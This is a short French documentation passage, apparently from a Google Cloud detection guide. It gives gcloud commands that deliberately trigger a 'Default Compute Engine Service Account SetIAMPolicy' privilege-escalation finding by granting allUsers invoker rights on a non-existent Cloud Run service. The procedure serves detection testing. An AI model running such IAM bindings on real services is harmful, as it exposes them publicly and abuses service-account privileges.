Pour déclencher un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, exécutez une commande qui utilise le compte de service Compute Engine par défaut pour définir la stratégie IAM d'un service Cloud Run.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

Étape suivante